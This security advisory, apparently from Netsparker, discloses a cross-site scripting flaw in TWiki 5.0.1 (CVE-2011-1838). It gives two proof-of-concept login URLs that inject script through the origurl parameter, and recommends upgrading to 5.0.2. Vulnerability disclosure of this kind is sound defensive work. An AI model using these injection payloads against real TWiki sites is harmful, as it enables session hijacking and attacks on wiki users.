XSS vulnerability in TWiki < 5.0.2

[Netsparker Advisories <advisories () mavitunasecurity com>]

Information
-----------------------------------
Name :  XSS vulnerability in TWiki
Software :  TWiki 5.0.1 and possibily below.
Vendor Hompeage :  http://twiki.org/
Vulnerability Type :  Cross-Site Scripting
Severity :  High
Researcher :  Mesut Timur <mesut [at] mavitunasecurity [dot] com>
Advisory Reference :  NS-11-005
CVE :  CVE-2011-1838


Description
-----------------------------------
TWiki® is a flexible, powerful, and easy to use enterprise wiki,
enterprise collaboration platform, and web application platform. It is
a Structured Wiki, typically used to run a project development space,
a document management system, a knowledge base, or any other groupware
tool, on an intranet, extranet or the Internet.


Details
-----------------------------------
TWiki is affected by XSS vulnerabilities in version 5.0.1.
Example PoC url is as follows :

http://example.com/bin/login?sudo=sudo;origurl=http://example.com/bin/view/Main/TWikiAdminUser%00%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Ealert%280x00044C%29%3C%2Fscript%3E
http://example.com/bin/login/Main/WebHome?'"1=;origurl=1'"--></style></script><script>alert(0x00039C)</script>

You can read the full article about Cross-Site Scripting
vulnerabilities from here :
http://www.mavitunasecurity.com/crosssite-scripting-xss/


Solution
-----------------------------------
Upgrade to the latest TWiki version (5.0.2).


Credits
-----------------------------------
It has been discovered on testing of Netsparker, Web Application
Security Scanner - http://www.mavitunasecurity.com/netsparker/.


References
-----------------------------------
Vendor Url : http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2011-1838
MSL Advisory Link : http://www.mavitunasecurity.com/XSS-vulnerability-in-Twiki/
Netsparker Advisories : http://www.mavitunasecurity.com/netsparker-advisories/

About Netsparker
-----------------------------------
Netsparker® can find and report security issues such as SQL Injection
and Cross-site Scripting (XSS) in all web applications regardless of
the platform and the technology they are built on. Netsparker's unique
detection and exploitation techniques allows it to be dead accurate in
reporting hence it's the first and the only False Positive Free web
application security scanner.

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Homepage, http://www.mavitunasecurity.com/netsparker-advisories/